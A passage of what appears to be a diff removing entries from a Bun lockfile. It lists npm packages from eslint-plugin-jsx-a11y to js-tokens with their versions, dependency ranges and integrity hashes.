- "eslint-plugin-jsx-a11y": ["eslint-plugin-jsx-a11y@6.10.2", "", { "dependencies": { "aria-query": "^5.3.2", "array-includes": "^3.1.8", "array.prototype.flatmap": "^1.3.2", "ast-types-flow": "^0.0.8", "axe-core": "^4.10.0", "axobject-query": "^4.1.0", "damerau-levenshtein": "^1.0.8", "emoji-regex": "^9.2.2", "hasown": "^2.0.2", "jsx-ast-utils": "^3.3.5", "language-tags": "^1.0.9", "minimatch": "^3.1.2", "object.fromentries": "^2.0.8", "safe-regex-test": "^1.0.3", "string.prototype.includes": "^2.0.1" }, "peerDependencies": { "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9" } }, "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q=="],
-
- "eslint-plugin-react": ["eslint-plugin-react@7.37.2", "", { "dependencies": { "array-includes": "^3.1.8", "array.prototype.findlast": "^1.2.5", "array.prototype.flatmap": "^1.3.2", "array.prototype.tosorted": "^1.1.4", "doctrine": "^2.1.0", "es-iterator-helpers": "^1.1.0", "estraverse": "^5.3.0", "hasown": "^2.0.2", "jsx-ast-utils": "^2.4.1 || ^3.0.0", "minimatch": "^3.1.2", "object.entries": "^1.1.8", "object.fromentries": "^2.0.8", "object.values": "^1.2.0", "prop-types": "^15.8.1", "resolve": "^2.0.0-next.5", "semver": "^6.3.1", "string.prototype.matchall": "^4.0.11", "string.prototype.repeat": "^1.0.0" }, "peerDependencies": { "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7" } }, "sha512-EsTAnj9fLVr/GZleBLFbj/sSuXeWmp1eXIN60ceYnZveqEaUCyW4X+Vh4WTdUhCkW4xutXYqTXCUSyqD4rB75w=="],
-
- "eslint-plugin-react-hooks": ["eslint-plugin-react-hooks@5.2.0", "", { "peerDependencies": { "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" } }, "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg=="],
-
- "eslint-scope": ["eslint-scope@7.2.2", "", { "dependencies": { "esrecurse": "^4.3.0", "estraverse": "^5.2.0" } }, "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg=="],
-
- "eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="],
-
- "espree": ["espree@9.6.1", "", { "dependencies": { "acorn": "^8.9.0", "acorn-jsx": "^5.3.2", "eslint-visitor-keys": "^3.4.1" } }, "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ=="],
-
- "esprima": ["esprima@4.0.1", "", { "bin": { "esparse": "./bin/esparse.js", "esvalidate": "./bin/esvalidate.js" } }, "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A=="],
-
- "esquery": ["esquery@1.7.0", "", { "dependencies": { "estraverse": "^5.1.0" } }, "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g=="],
-
- "esrecurse": ["esrecurse@4.3.0", "", { "dependencies": { "estraverse": "^5.2.0" } }, "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag=="],
-
- "estraverse": ["estraverse@5.3.0", "", {}, "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA=="],
-
- "estree-walker": ["estree-walker@2.0.2", "", {}, "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w=="],
-
- "esutils": ["esutils@2.0.3", "", {}, "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g=="],
-
- "expand-tilde": ["expand-tilde@2.0.2", "", { "dependencies": { "homedir-polyfill": "^1.0.1" } }, "sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw=="],
-
- "exsolve": ["exsolve@1.0.8", "", {}, "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA=="],
-
- "fast-check": ["fast-check@3.23.2", "", { "dependencies": { "pure-rand": "^6.1.0" } }, "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A=="],
-
- "fast-deep-equal": ["fast-deep-equal@3.1.3", "", {}, "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q=="],
-
- "fast-glob": ["fast-glob@3.3.2", "", { "dependencies": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.4" } }, "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow=="],
-
- "fast-json-stable-stringify": ["fast-json-stable-stringify@2.1.0", "", {}, "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw=="],
-
- "fast-levenshtein": ["fast-levenshtein@2.0.6", "", {}, "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw=="],
-
- "fastq": ["fastq@1.17.1", "", { "dependencies": { "reusify": "^1.0.4" } }, "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w=="],
-
- "fdir": ["fdir@6.5.0", "", { "peerDependencies": { "picomatch": "^3 || ^4" }, "optionalPeers": ["picomatch"] }, "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg=="],
-
- "file-entry-cache": ["file-entry-cache@6.0.1", "", { "dependencies": { "flat-cache": "^3.0.4" } }, "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg=="],
-
- "fill-range": ["fill-range@7.1.1", "", { "dependencies": { "to-regex-range": "^5.0.1" } }, "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg=="],
-
- "find-up": ["find-up@5.0.0", "", { "dependencies": { "locate-path": "^6.0.0", "path-exists": "^4.0.0" } }, "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng=="],
-
- "findup-sync": ["findup-sync@5.0.0", "", { "dependencies": { "detect-file": "^1.0.0", "is-glob": "^4.0.3", "micromatch": "^4.0.4", "resolve-dir": "^1.0.1" } }, "sha512-MzwXju70AuyflbgeOhzvQWAvvQdo1XL0A9bVvlXsYcFEBM87WR4OakL4OfZq+QRmr+duJubio+UtNQCPsVESzQ=="],
-
- "flat-cache": ["flat-cache@3.2.0", "", { "dependencies": { "flatted": "^3.2.9", "keyv": "^4.5.3", "rimraf": "^3.0.2" } }, "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw=="],
-
- "flatted": ["flatted@3.4.2", "", {}, "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA=="],
-
- "for-each": ["for-each@0.3.5", "", { "dependencies": { "is-callable": "^1.2.7" } }, "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg=="],
-
- "framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
-
- "fsevents": ["fsevents@2.3.3", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
-
- "function-bind": ["function-bind@1.1.2", "", {}, "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="],
-
- "function.prototype.name": ["function.prototype.name@1.1.8", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "functions-have-names": "^1.2.3", "hasown": "^2.0.2", "is-callable": "^1.2.7" } }, "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q=="],
-
- "functions-have-names": ["functions-have-names@1.2.3", "", {}, "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ=="],
-
- "get-caller-file": ["get-caller-file@2.0.5", "", {}, "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="],
-
- "get-intrinsic": ["get-intrinsic@1.3.0", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "function-bind": "^1.1.2", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "math-intrinsics": "^1.1.0" } }, "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ=="],
-
- "get-nonce": ["get-nonce@1.0.1", "", {}, "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q=="],
-
- "get-proto": ["get-proto@1.0.1", "", { "dependencies": { "dunder-proto": "^1.0.1", "es-object-atoms": "^1.0.0" } }, "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g=="],
-
- "get-symbol-description": ["get-symbol-description@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6" } }, "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg=="],
-
- "get-tsconfig": ["get-tsconfig@4.8.1", "", { "dependencies": { "resolve-pkg-maps": "^1.0.0" } }, "sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg=="],
-
- "giget": ["giget@2.0.0", "", { "dependencies": { "citty": "^0.1.6", "consola": "^3.4.0", "defu": "^6.1.4", "node-fetch-native": "^1.6.6", "nypm": "^0.6.0", "pathe": "^2.0.3" }, "bin": { "giget": "dist/cli.mjs" } }, "sha512-L5bGsVkxJbJgdnwyuheIunkGatUF/zssUoxxjACCseZYAVbaqdh9Tsmmlkl8vYan09H7sbvKt4pS8GqKLBrEzA=="],
-
- "glob": ["glob@13.0.6", "", { "dependencies": { "minimatch": "^10.2.2", "minipass": "^7.1.3", "path-scurry": "^2.0.2" } }, "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw=="],
-
- "glob-parent": ["glob-parent@6.0.2", "", { "dependencies": { "is-glob": "^4.0.3" } }, "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A=="],
-
- "global-modules": ["global-modules@1.0.0", "", { "dependencies": { "global-prefix": "^1.0.1", "is-windows": "^1.0.1", "resolve-dir": "^1.0.0" } }, "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg=="],
-
- "global-prefix": ["global-prefix@1.0.2", "", { "dependencies": { "expand-tilde": "^2.0.2", "homedir-polyfill": "^1.0.1", "ini": "^1.3.4", "is-windows": "^1.0.1", "which": "^1.2.14" } }, "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg=="],
-
- "globals": ["globals@13.24.0", "", { "dependencies": { "type-fest": "^0.20.2" } }, "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ=="],
-
- "globalthis": ["globalthis@1.0.4", "", { "dependencies": { "define-properties": "^1.2.1", "gopd": "^1.0.1" } }, "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ=="],
-
- "gopd": ["gopd@1.0.1", "", { "dependencies": { "get-intrinsic": "^1.1.3" } }, "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA=="],
-
- "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
-
- "graphemer": ["graphemer@1.4.0", "", {}, "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag=="],
-
- "has-bigints": ["has-bigints@1.0.2", "", {}, "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ=="],
-
- "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
-
- "has-property-descriptors": ["has-property-descriptors@1.0.2", "", { "dependencies": { "es-define-property": "^1.0.0" } }, "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg=="],
-
- "has-proto": ["has-proto@1.0.3", "", {}, "sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q=="],
-
- "has-symbols": ["has-symbols@1.0.3", "", {}, "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A=="],
-
- "has-tostringtag": ["has-tostringtag@1.0.2", "", { "dependencies": { "has-symbols": "^1.0.3" } }, "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw=="],
-
- "hasown": ["hasown@2.0.2", "", { "dependencies": { "function-bind": "^1.1.2" } }, "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ=="],
-
- "homedir-polyfill": ["homedir-polyfill@1.0.3", "", { "dependencies": { "parse-passwd": "^1.0.0" } }, "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA=="],
-
- "ignore": ["ignore@5.3.2", "", {}, "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g=="],
-
- "import-fresh": ["import-fresh@3.3.0", "", { "dependencies": { "parent-module": "^1.0.0", "resolve-from": "^4.0.0" } }, "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw=="],
-
- "imurmurhash": ["imurmurhash@0.1.4", "", {}, "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="],
-
- "ini": ["ini@1.3.8", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="],
-
- "internal-slot": ["internal-slot@1.0.7", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.0", "side-channel": "^1.0.4" } }, "sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g=="],
-
- "is-array-buffer": ["is-array-buffer@3.0.5", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "get-intrinsic": "^1.2.6" } }, "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A=="],
-
- "is-arrayish": ["is-arrayish@0.2.1", "", {}, "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="],
-
- "is-async-function": ["is-async-function@2.0.0", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA=="],
-
- "is-bigint": ["is-bigint@1.1.0", "", { "dependencies": { "has-bigints": "^1.0.2" } }, "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ=="],
-
- "is-binary-path": ["is-binary-path@2.1.0", "", { "dependencies": { "binary-extensions": "^2.0.0" } }, "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw=="],
-
- "is-boolean-object": ["is-boolean-object@1.2.2", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A=="],
-
- "is-bun-module": ["is-bun-module@1.2.1", "", { "dependencies": { "semver": "^7.6.3" } }, "sha512-AmidtEM6D6NmUiLOvvU7+IePxjEjOzra2h0pSrsfSAcXwl/83zLLXDByafUJy9k/rKK0pvXMLdwKwGHlX2Ke6Q=="],
-
- "is-callable": ["is-callable@1.2.7", "", {}, "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA=="],
-
- "is-core-module": ["is-core-module@2.15.1", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ=="],
-
- "is-data-view": ["is-data-view@1.0.2", "", { "dependencies": { "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "is-typed-array": "^1.1.13" } }, "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw=="],
-
- "is-date-object": ["is-date-object@1.0.5", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ=="],
-
- "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
-
- "is-finalizationregistry": ["is-finalizationregistry@1.1.0", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-qfMdqbAQEwBw78ZyReKnlA8ezmPdb9BemzIIip/JkjaZUhitfXDkkr+3QTboW0JrSXT1QWyYShpvnNHGZ4c4yA=="],
-
- "is-fullwidth-code-point": ["is-fullwidth-code-point@3.0.0", "", {}, "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="],
-
- "is-generator-function": ["is-generator-function@1.0.10", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A=="],
-
- "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="],
-
- "is-map": ["is-map@2.0.3", "", {}, "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw=="],
-
- "is-negative-zero": ["is-negative-zero@2.0.3", "", {}, "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw=="],
-
- "is-number": ["is-number@7.0.0", "", {}, "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="],
-
- "is-number-object": ["is-number-object@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw=="],
-
- "is-path-inside": ["is-path-inside@3.0.3", "", {}, "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ=="],
-
- "is-regex": ["is-regex@1.1.4", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg=="],
-
- "is-set": ["is-set@2.0.3", "", {}, "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg=="],
-
- "is-shared-array-buffer": ["is-shared-array-buffer@1.0.4", "", { "dependencies": { "call-bound": "^1.0.3" } }, "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A=="],
-
- "is-string": ["is-string@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3", "has-tostringtag": "^1.0.2" } }, "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA=="],
-
- "is-symbol": ["is-symbol@1.0.4", "", { "dependencies": { "has-symbols": "^1.0.2" } }, "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg=="],
-
- "is-typed-array": ["is-typed-array@1.1.15", "", { "dependencies": { "which-typed-array": "^1.1.16" } }, "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ=="],
-
- "is-weakmap": ["is-weakmap@2.0.2", "", {}, "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w=="],
-
- "is-weakref": ["is-weakref@1.1.1", "", { "dependencies": { "call-bound": "^1.0.3" } }, "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew=="],
-
- "is-weakset": ["is-weakset@2.0.3", "", { "dependencies": { "call-bind": "^1.0.7", "get-intrinsic": "^1.2.4" } }, "sha512-LvIm3/KWzS9oRFHugab7d+M/GcBXuXX5xZkzPmN+NxihdQlZUQ4dWuSV1xR/sq6upL1TJEDrfBgRepHFdBtSNQ=="],
-
- "is-windows": ["is-windows@1.0.2", "", {}, "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA=="],
-
- "isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
-
- "isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
-
- "iterator.prototype": ["iterator.prototype@1.1.3", "", { "dependencies": { "define-properties": "^1.2.1", "get-intrinsic": "^1.2.1", "has-symbols": "^1.0.3", "reflect.getprototypeof": "^1.0.4", "set-function-name": "^2.0.1" } }, "sha512-FW5iMbeQ6rBGm/oKgzq2aW4KvAGpxPzYES8N4g4xNXUKpL1mclMvOe+76AcLDTvD+Ze+sOpVhgdAQEKF4L9iGQ=="],
-
- "jiti": ["jiti@1.21.7", "", { "bin": { "jiti": "bin/jiti.js" } }, "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A=="],
-
- "js-tokens": ["js-tokens@4.0.0", "", {}, "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="],
-
